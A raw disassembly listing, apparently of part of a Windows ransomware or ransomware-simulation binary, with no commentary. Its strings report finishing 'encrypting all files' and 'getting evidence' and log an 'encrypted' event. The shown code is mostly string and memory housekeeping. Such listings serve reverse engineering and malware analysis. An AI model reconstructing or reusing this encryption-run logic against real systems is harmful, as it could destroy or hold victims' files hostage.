call fcn.140003a10
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea r15, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae r15, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xd0]
cmp rdi, rbx
ja 0x140020e4e
mov qword [rsp + 0x58], 0xf
cmp rdi, 0x10
jae 0x1400206b3
mov qword [rsp + 0x50], rdi
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400206fb
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x1400206cf
mov rbx, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140005aa0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call fcn.140024500
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140003a10
mov r15, rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
xor eax, eax
mov qword [rbp - 0x40], rax
test r13, r13
je 0x1400207b1
movabs rax, 0x7ffffffffffffff
cmp r13, rax
ja 0x140020e54
mov rdx, r13
lea rcx, [rbp - 0x50]
call fcn.140006700
mov rbx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov rcx, r13
shl rcx, 5
add rcx, rax
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
mov qword [rbp - 0x28], rax
mov rdi, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x70], rax
cmp rsi, r14
je 0x1400207ad
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.140005380
add rbx, 0x20
mov qword [rsp + 0x68], rbx
add rdi, 0x20
cmp rdi, r14
jne 0x140020790
mov qword [rbp - 0x48], rbx
lea r9, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae r9, qword [rbp + 0x180]
mov eax, dword [rbp + 0x190]
mov dword [rsp + 0x20], eax
mov r8, r12
mov rdx, r15
lea rcx, [rbp - 0x50]
call fcn.14001c1a0
mov ebx, eax
mov rcx, qword [0x140062910]
mov r10, qword [rcx]
mov qword [rsp + 0x20], r13
mov r9d, eax
mov r8d, 2
lea rdx, str.Finished_encrypting_all_files___d_out_of__d___getting_evidence
call qword [r10 + 0x10]
cmp rbx, r13
jne 0x140020abf
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 4
mov qword [rsp + 0x58], 0xf
mov dword [rsp + 0x40], 0x20726964
mov byte [rsp + 0x44], 0
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
lea rcx, [rsp + 0x40]
call fcn.140005f50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140007be0
lea rcx, [rbp + 0x1a0]
cmp rcx, rax
je 0x1400208e5
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
mov qword [rbp - 0x60], rdi
movq r15, xmm1
jmp 0x1400208ed
mov rdi, qword [rbp - 0x60]
mov r15, qword [rbp + 0x40]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14002092a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020925
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e5a
call fcn.140022644
movdqa xmm0, xmmword [0x140058420]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r12b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14002097a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020975
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e60
call fcn.140022644
test r15, r15
je 0x140020a73
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 8
lea rdx, str.cmdtext_
lea rcx, [rbp - 0x80]
call fcn.140005640
nop
lea rdx, [rbp + 0x1a0]
cmp rdi, 0x10
cmovae rdx, qword [rbp + 0x1a0]
mov r8, r15
lea rcx, [rbp - 0x80]
call fcn.140005f50
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov edx, ebx
lea rcx, [rbp + 0x48]
call fcn.140006930
mov rdx, rax
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
cmp qword [rax + 0x18], 0x10
jb 0x140020a22
mov rdx, qword [rax]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, str.encrypted
call qword [rax + 0x28]
nop
lea rcx, [rbp + 0x48]
call fcn.140003be0
nop
lea rcx, [rsp + 0x40]
call fcn.140003be0
nop
lea rcx, [rbp - 0x80]
call fcn.140003be0
mov rdi, qword [rbp + 0x1b8]
jmp 0x140020aef
mov edx, ebx
lea rcx, [rbp + 0x48]
call fcn.140006930
nop
cmp qword [rax + 0x18], 0x10
jb 0x140020a89
mov rax, qword [rax]
mov rcx, qword [0x140062910]
mov r10, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, str.encrypted
call qword [r10 + 0x28]
nop
lea rcx, [rbp + 0x48]
call fcn.140003be0
jmp 0x140020aeb
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, str.encrypted
call qword [rax + 0x28]
mov rdi, qword [rbp - 0x60]
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x140020b35
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e66
call fcn.140022644
mov rcx, qword [0x140062910]
call fcn.140019100
mov rcx, qword [0x140062910]
call fcn.1400185f0
nop
test rsi, rsi
je 0x140020bad
mov rbx, rsi
cmp rsi, r14
je 0x140020b71
nop dword [rax + rax]
mov rcx, rbx
call fcn.140003b70
add rbx, 0x20
cmp rbx, r14
jne 0x140020b60
mov rdx, qword [rbp + 0xf0]
sub rdx, rsi
and rdx, 0xffffffffffffffe0
mov rax, rsi
cmp rdx, 0x1000
jb 0x140020ba4
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e6c
mov rcx, rsi
call fcn.140022644
nop
cmp rdi, 0x10
jb 0x140020be9
lea rdx, [rdi + 1]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020be3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e72
call fcn.140022644
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x140020c2a
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020c25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e78
call fcn.140022644
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140020c84
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020c7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e7e
call fcn.140022644
movdqa xmm0, xmmword [0x140058420]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140020cdc
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020cd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e84
call fcn.140022644
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140020d36
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020d31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e8a
call fcn.140022644
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140020d90
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020d8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e90
call fcn.140022644
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140020de6
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020de1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e18
call fcn.140022644
xor eax, eax
mov rcx, qword [rbp + 0x208]
xor rcx, rsp
call fcn.1400229b0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
int3
call fcn.1400034f0
nop
call fcn.1400034f0
nop
call fcn.1400034f0
int3
call fcn.1400034f0
nop
call fcn.1400034f0
nop
call fcn.140006640
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
nop
call fcn.140029174
int3